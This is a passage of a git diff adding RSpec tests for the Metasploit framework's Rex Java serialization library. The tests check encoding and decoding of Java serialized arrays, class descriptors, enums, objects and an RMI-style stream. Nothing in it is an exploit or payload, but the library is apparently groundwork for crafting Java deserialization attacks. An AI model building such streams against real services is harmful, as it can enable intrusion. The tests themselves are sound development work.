"Rex::Java::Serialization::Model::NewArray" do + expect(new_array).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "initializes array_description with nil" do + expect(new_array.array_description).to be_nil + end + + it "initializes type with an empty String" do + expect(new_array.type).to be_empty + end + + it "initializes values with an empty Array" do + expect(new_array.values).to be_empty + end + end + + describe "#decode" do + + context "when boolean Array" do + it "deserializes Array" do + expect(new_array.decode(boolean_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "deserializes type correctly" do + new_array.decode(boolean_array_io) + expect(new_array.type).to eq('boolean') + end + + it "deserializes values correctly" do + new_array.decode(boolean_array_io) + expect(new_array.values).to eq([1, 0, 1, 1, 1, 1, 1, 1, 1, 0]) + end + end + + context "when byte Array" do + it "deserializes Array" do + expect(new_array.decode(byte_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "deserializes type correctly" do + new_array.decode(byte_array_io) + expect(new_array.type).to eq('byte') + end + + it "deserializes values correctly" do + new_array.decode(byte_array_io) + expect(new_array.values).to eq([-20, 65]) + end + end + + context "when char Array" do + it "deserializes Array" do + expect(new_array.decode(char_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "deserializes type correctly" do + new_array.decode(char_array_io) + expect(new_array.type).to eq('char') + end + + it "deserializes values correctly" do + new_array.decode(char_array_io) + expect(new_array.values).to eq([97, 98]) + end + end + + context "when short Array" do + it "deserializes Array" do + expect(new_array.decode(short_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "deserializes type correctly" do + new_array.decode(short_array_io) + expect(new_array.type).to eq('short') + end + + it "deserializes values correctly" do + new_array.decode(short_array_io) + expect(new_array.values).to eq([-20, 65]) + end + end + + context "when double Array" do + it "deserializes Array" do + expect(new_array.decode(double_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "deserializes type correctly" do + new_array.decode(double_array_io) + expect(new_array.type).to eq('double') + end + + it "deserializes values correctly" do + new_array.decode(double_array_io) + expect(new_array.values).to eq([0.25, 0.21]) + end + end + + context "when float Array" do + it "deserializes a float Array" do + expect(new_array.decode(float_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "deserializes type correctly" do + new_array.decode(float_array_io) + expect(new_array.type).to eq('float') + end + + it "deserializes values correctly" do + new_array.decode(float_array_io) + expect(new_array.values).to eq([1.0, 2.0]) + end + end + + context "when int Array" do + it "deserializes Array" do + expect(new_array.decode(int_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "deserializes type correctly" do + new_array.decode(int_array_io) + expect(new_array.type).to eq('int') + end + + it "deserializes values correctly" do + new_array.decode(int_array_io) + expect(new_array.values).to eq([-20, 65]) + end + end + + context "when long Array" do + it "deserializes Array" do + expect(new_array.decode(long_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "deserializes type correctly" do + new_array.decode(long_array_io) + expect(new_array.type).to eq('long') + end + + it "deserializes values correctly" do + new_array.decode(long_array_io) + expect(new_array.values).to eq([-20, 65]) + end + end + + context "when Strings (Objects) array" do + it "deserializes the array" do + expect(new_array.decode(string_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "deserializes type correctly" do + new_array.decode(string_array_io) + expect(new_array.type).to eq('java.lang.String;') + end + + it "deserializes number of members correctly" do + new_array.decode(string_array_io) + expect(new_array.values.length).to eq(1) + end + + it "deserializes the members correctly" do + new_array.decode(string_array_io) + expect(new_array.values[0].contents).to eq('msf') + end + end + + end + + describe "#encode" do + it "serializes a boolean Array" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Z') + new_class_desc.serial_version = 0x578f203914b85de2 + new_class_desc.flags = 2 + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_class_desc + new_array.type = 'boolean' + new_array.values = [1, 0, 1, 1, 1, 1, 1, 1, 1, 0] + + expect(new_array.encode.unpack("C*")).to eq(boolean_array.unpack("C*")) + end + + it "serializes a byte Array" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B') + new_class_desc.serial_version = 0xacf317f8060854e0 + new_class_desc.flags = 2 + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_class_desc + new_array.type = 'byte' + new_array.values = [-20, 65] + + expect(new_array.encode.unpack("C*")).to eq(byte_array.unpack("C*")) + end + + it "serializes a char Array" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C') + new_class_desc.serial_version = 0xb02666b0e25d84ac + new_class_desc.flags = 2 + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_class_desc + new_array.type = 'char' + new_array.values = [97, 98] + + expect(new_array.encode.unpack("C*")).to eq(char_array.unpack("C*")) + end + + it "serializes a short Array" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[S') + new_class_desc.serial_version = 0xef832e06e55db0fa + new_class_desc.flags = 2 + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_class_desc + new_array.type = 'short' + new_array.values = [-20, 65] + + expect(new_array.encode.unpack("C*")).to eq(short_array.unpack("C*")) + end + + it "serializes a double Array" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[D') + new_class_desc.serial_version = 0x3ea68c14ab635a1e + new_class_desc.flags = 2 + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_class_desc + new_array.type = 'double' + new_array.values = [0.25, 0.21] + + expect(new_array.encode.unpack("C*")).to eq(double_array.unpack("C*")) + end + + it "serializes a float Array" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[F') + new_class_desc.serial_version = 0xb9c818922e00c42 + new_class_desc.flags = 2 + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_class_desc + new_array.type = 'float' + new_array.values = [1.0, 2.0] + + expect(new_array.encode.unpack("C*")).to eq(float_array.unpack("C*")) + end + + it "serializes a int Array" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[I') + new_class_desc.serial_version = 0x4dba602676eab2a5 + new_class_desc.flags = 2 + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_class_desc + new_array.type = 'int' + new_array.values = [-20, 65] + + expect(new_array.encode.unpack("C*")).to eq(int_array.unpack("C*")) + end + + it "serializes a long Array" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[J') + new_class_desc.serial_version = 0x782004b512b17593 + new_class_desc.flags = 2 + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_class_desc + new_array.type = 'long' + new_array.values = [-20, 65] + + expect(new_array.encode.unpack("C*")).to eq(long_array.unpack("C*")) + end + + it "serializes a String (Objects) Array" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') + new_class_desc.serial_version = 0xadd256e7e91d7b47 + new_class_desc.flags = 2 + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_class_desc + new_array.type = 'java.lang.String;' + new_array.values = [ Rex::Java::Serialization::Model::Utf.new(nil, 'msf') ] + + expect(new_array.encode.unpack("C*")).to eq(string_array.unpack("C*")) + end + end + + describe "#to_s" do + it "prints a boolean array stream" do + new_array.decode(boolean_array_io) + expect(new_array.to_s).to eq('boolean, ["1", "0", "1", "1", "1", "1", "1", "1", "1", "0"]') + end + + it "prints a byte array stream" do + new_array.decode(byte_array_io) + expect(new_array.to_s).to eq('byte, ["-20", "65"]') + end + + it "prints a char array stream" do + new_array.decode(char_array_io) + expect(new_array.to_s).to eq('char, ["97", "98"]') + end + + it "prints a short array stream" do + new_array.decode(short_array_io) + expect(new_array.to_s).to eq('short, ["-20", "65"]') + end + + it "prints a double array stream" do + new_array.decode(double_array_io) + expect(new_array.to_s).to eq('double, ["0.25", "0.21"]') + end + + it "prints a float array stream" do + new_array.decode(float_array_io) + expect(new_array.to_s).to eq('float, ["1.0", "2.0"]') + end + + it "prints a int array stream" do + new_array.decode(int_array_io) + expect(new_array.to_s).to eq('int, ["-20", "65"]') + end + + it "prints a long array stream" do + new_array.decode(long_array_io) + expect(new_array.to_s).to eq('long, ["-20", "65"]') + end + + it "prints a string array stream" do + new_array.decode(string_array_io) + expect(new_array.to_s).to eq('java.lang.String;, ["msf"]') + end + end + +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb b/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb new file mode 100644 index 0000000000..c69a7a7b14 --- /dev/null +++ b/spec/lib/rex/java/serialization/model/new_class_desc_spec.rb @@ -0,0 +1,143 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::NewClassDesc do + subject(:class_desc_new) do + described_class.new + end + + let(:sample) do + "\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" + + "\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" + + "\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" + + "\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" + + "\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70" + end + + let(:sample_io) { StringIO.new(sample) } + + describe ".new" do + it "Rex::Java::Serialization::Model::NewClassDesc" do + expect(class_desc_new).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + + it "initializes class_name with nil" do + expect(class_desc_new.class_name).to be_nil + end + + it "initializes serial_version with 0" do + expect(class_desc_new.serial_version).to eq(0) + end + + it "initializes flags with 0" do + expect(class_desc_new.flags).to eq(0) + end + + it "initializes fields with empty Array" do + expect(class_desc_new.fields).to be_empty + end + + it "initializes class_annotation with nil" do + expect(class_desc_new.class_annotation).to be_nil + end + + it "initializes super_class with nil" do + expect(class_desc_new.super_class).to be_nil + end + end + + describe "#decode" do + it "returns a Rex::Java::Serialization::Model::NewClassDesc" do + expect(class_desc_new.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + + it "deserializes class_name as Utf" do + class_desc_new.decode(sample_io) + expect(class_desc_new.class_name).to be_a(Rex::Java::Serialization::Model::Utf) + end + + it "deserializes class_name contents correctly" do + class_desc_new.decode(sample_io) + expect(class_desc_new.class_name.contents).to eq('java.lang.Byte') + end + + it "deserializes serial_version correctly" do + class_desc_new.decode(sample_io) + expect(class_desc_new.serial_version).to eq(0x9c4e6084ee50f51c) + end + + it "deserializes flags correctly" do + class_desc_new.decode(sample_io) + expect(class_desc_new.flags).to eq(2) + end + + it "deserializes fields" do + class_desc_new.decode(sample_io) + expect(class_desc_new.fields.length).to eq(1) + end + + it "deserializes fields contents correctly" do + class_desc_new.decode(sample_io) + expect(class_desc_new.fields[0].type).to eq('byte') + end + + it "deserializes class annotation correctly" do + class_desc_new.decode(sample_io) + expect(class_desc_new.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation) + end + + it "deserializes class annotation contents" do + class_desc_new.decode(sample_io) + expect(class_desc_new.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData) + end + + it "deserializes super_class" do + class_desc_new.decode(sample_io) + expect(class_desc_new.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc) + end + + it "deserializes super class description" do + class_desc_new.decode(sample_io) + expect(class_desc_new.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + end + + describe "#encode" do + it "serializes a NewClassDesc" do + super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new + super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number') + super_class_desc_new.serial_version = 0x86ac951d0b94e08b + super_class_desc_new.flags = 2 + super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new + super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new + super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new + super_class_desc.description = super_class_desc_new + + class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte') + class_desc_new.serial_version = 0x9c4e6084ee50f51c + class_desc_new.flags = 2 + field = Rex::Java::Serialization::Model::Field.new + field.type = 'byte' + field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value') + class_desc_new.fields << field + class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new + class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + class_desc_new.super_class = super_class_desc + + expect(class_desc_new.encode.unpack("C*")).to eq(sample.unpack("C*")) + end + end + + describe "#to_s" do + it "prints a sample NewClassDesc stream" do + class_desc_new.decode(sample_io) + expect(class_desc_new.to_s).to eq('java.lang.Byte, [ value (byte) ], @super_class: java.lang.Number') + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_enum_spec.rb b/spec/lib/rex/java/serialization/model/new_enum_spec.rb new file mode 100644 index 0000000000..2c3c16e206 --- /dev/null +++ b/spec/lib/rex/java/serialization/model/new_enum_spec.rb @@ -0,0 +1,83 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::NewEnum do + + subject(:new_enum) do + described_class.new + end + + let(:sample_enum) do + "\x72\x00\x09\x45\x6e\x75\x6d\x73" + + "\x24\x44\x61\x79\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x12\x00\x00\x78" + + "\x72\x00\x0e\x6a\x61\x76\x61\x2e" + + "\x6c\x61\x6e\x67\x2e\x45\x6e\x75" + + "\x6d\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x12\x00\x00\x78\x70\x74\x00" + + "\x06\x53\x55\x4e\x44\x41\x59" + end + + let(:sample_enum_io) { StringIO.new(sample_enum) } + + describe ".new" do + it "Rex::Java::Serialization::Model::NewEnum" do + expect(new_enum).to be_a(Rex::Java::Serialization::Model::NewEnum) + end + + it "initializes enum_description with nil" do + expect(new_enum.enum_description).to be_nil + end + + it "initializes constant_name with nil" do + expect(new_enum.constant_name).to be_nil + end + end + + describe "#decode" do + it "deserializes an Enum" do + expect(new_enum.decode(sample_enum_io)).to be_a(Rex::Java::Serialization::Model::NewEnum) + end + + it "deserializes the constant_name correctly" do + new_enum.decode(sample_enum_io) + expect(new_enum.constant_name.contents).to eq('SUNDAY') + end + end + + describe "#encode" do + it "serializes an Enum" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Enums$Day') + new_class_desc.serial_version = 0 + new_class_desc.flags = 18 + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.super_class.description.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Enum') + new_class_desc.super_class.description.serial_version = 0 + new_class_desc.super_class.description.flags = 18 + new_class_desc.super_class.description.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.super_class.description.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class.description.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_enum.enum_description = Rex::Java::Serialization::Model::ClassDesc.new + new_enum.enum_description.description = new_class_desc + new_enum.constant_name = Rex::Java::Serialization::Model::Utf.new(nil, 'SUNDAY') + + expect(new_enum.encode.unpack("C*")).to eq(sample_enum.unpack("C*")) + end + end + + describe "#to_s" do + it "prints a sample NewEnum stream" do + new_enum.decode(sample_enum_io) + expect(new_enum.to_s).to eq('SUNDAY') + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_object_spec.rb b/spec/lib/rex/java/serialization/model/new_object_spec.rb new file mode 100644 index 0000000000..1d4779bded --- /dev/null +++ b/spec/lib/rex/java/serialization/model/new_object_spec.rb @@ -0,0 +1,82 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::NewObject do + + subject(:new_object) do + described_class.new + end + + let(:easy_object) do + "\x72\x00\x04\x45\x61\x73\x79\x74" + + "\x1d\xe1\xbc\xbb\x2f\xcb\xaa\x02" + + "\x00\x01\x49\x00\x03\x53\x53\x4e" + + "\x78\x70\x41\x42\x43\x44" + end + + let(:easy_object_io) { StringIO.new(easy_object) } + + describe ".new" do + it "Rex::Java::Serialization::Model::NewObject" do + expect(new_object).to be_a(Rex::Java::Serialization::Model::NewObject) + end + + it "initializes class_desc with nil" do + expect(new_object.class_desc).to be_nil + end + + it "initializes class_data with empty array" do + expect(new_object.class_data).to be_empty + end + end + + describe "#decode" do + it "deserializes an object" do + expect(new_object.decode(easy_object_io)).to be_a(Rex::Java::Serialization::Model::NewObject) + end + + it "deserializes the object class fields correctly" do + new_object.decode(easy_object_io) + expect(new_object.class_desc.description.fields.length).to eq(1) + end + + it "deserializes the object class data correctly" do + new_object.decode(easy_object_io) + expect(new_object.class_data).to eq([['int', 0x41424344]]) + end + end + + + describe "#encode" do + it "serializes an Object" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy') + new_class_desc.serial_version = 0x741de1bcbb2fcbaa + new_class_desc.flags = 2 + field = Rex::Java::Serialization::Model::Field.new + field.type = 'int' + field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN') + new_class_desc.fields << field + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [['int', 0x41424344]] + + expect(new_object.encode.unpack("C*")).to eq(easy_object.unpack("C*")) + end + end + + describe "#to_s" do + it "prints a sample Object stream" do + new_object.decode(easy_object_io) + expect(new_object.to_s).to eq('Easy => { ["int", 1094861636] }') + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb new file mode 100644 index 0000000000..2c786b471a --- /dev/null +++ b/spec/lib/rex/java/serialization/model/stream_spec.rb @@ -0,0 +1,264 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::Stream do + + subject(:stream) do + described_class.new + end + + let(:easy_object_stream) do + "\xac\xed\x00\x05\x73\x72\x00\x04" + + "\x45\x61\x73\x79\x74\x1d\xe1\xbc" + + "\xbb\x2f\xcb\xaa\x02\x00\x01\x49" + + "\x00\x03\x53\x53\x4e\x78\x70\x41" + + "\x42\x43\x44" + end + let(:easy_object_stream_io) { StringIO.new(easy_object_stream) } + let(:easy_object_stream_to_s) { + <<-EOS +@magic: 0xaced +@version: 5 +@contents: [ + NewObject { Easy => { ["int", 1094861636] } } +] +@references: [ + [7e0000] NewClassDesc { Easy, [ SSN (int) ] } + [7e0001] NewObject { Easy => { ["int", 1094861636] } } +] + EOS + } + + let(:char_array_stream) do + "\xac\xed\x00\x05\x75\x72\x00\x02" + + "\x5b\x43\xb0\x26\x66\xb0\xe2\x5d" + + "\x84\xac\x02\x00\x00\x78\x70\x00" + + "\x00\x00\x02\x00\x61\x00\x62" + end + let(:char_array_stream_io) { StringIO.new(char_array_stream) } + let(:char_array_stream_to_s) { + <<-EOS +@magic: 0xaced +@version: 5 +@contents: [ + NewArray { char, ["97", "98"] } +] +@references: [ + [7e0000] NewClassDesc { [C, [ ] } + [7e0001] NewArray { char, ["97", "98"] } +] + EOS + } + + let(:complex_stream) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" + + "\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" + + "\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" + + "\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" + + "\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44\xa7" + + "\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62\x6a" + + "\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c\x6a" + + "\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55" + + "\x49\x44\x3b\x70\x78\x70\x0d\xc1\x1e\x2a\x94\x5e\x2f\xb2\x73\x72" + + "\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + + "\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00\x03" + + "\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65\x49" + + "\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x16\x00\x00\x01" + + "\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00\x00" + + "\x00\x00\x01\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" + + "\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a\xdc" + + "\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04\x76" + + "\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f" + + "\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00\x00" + + "\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5\x6d" + + "\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b\x42" + + "\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75\x72" + + "\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x70" + + "\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73\x71" + + "\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62" + + "\xc1\xc0" + end + let(:complex_stream_io) { StringIO.new(complex_stream) } + let(:complex_stream_to_s) { + <<-EOS +@magic: 0xaced +@version: 5 +@contents: [ + BlockData { [ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xf6, 0xb6, 0x89, 0x8d, 0x8b, 0xf2, 0x86, 0x43 ] } + NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] } + BlockData { [ 0x80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1 ] } + NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } } +] +@references: [ + [7e0000] NewClassDesc { [Ljava.rmi.server.ObjID;, [ ] } + [7e0001] NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] } + [7e0002] NewClassDesc { java.rmi.server.ObjID, [ objNum (long), space (Ljava/rmi/server/UID;) ] } + [7e0003] Utf { Ljava/rmi/server/UID; } + [7e0004] NewObject { java.rmi.server.ObjID => { ["long", 991106561224880050], java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } } } + [7e0005] NewClassDesc { java.rmi.server.UID, [ count (short), time (long), unique (int) ] } + [7e0006] NewObject { java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } } + [7e0007] NewClassDesc { java.rmi.dgc.Lease, [ value (long), vmid (Ljava/rmi/dgc/VMID;) ] } + [7e0008] Utf { Ljava/rmi/dgc/VMID; } + [7e0009] NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } } + [7e000a] NewClassDesc { java.rmi.dgc.VMID, [ addr ([B), uid (0x7e0003) ] } + [7e000b] Utf { [B } + [7e000c] NewObject { java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } + [7e000d] NewClassDesc { [B, [ ] } + [7e000e] NewArray { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"] } + [7e000f] NewObject { 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } +] + EOS + } + + describe ".new" do + it "Rex::Java::Serialization::Model::Stream" do + expect(stream).to 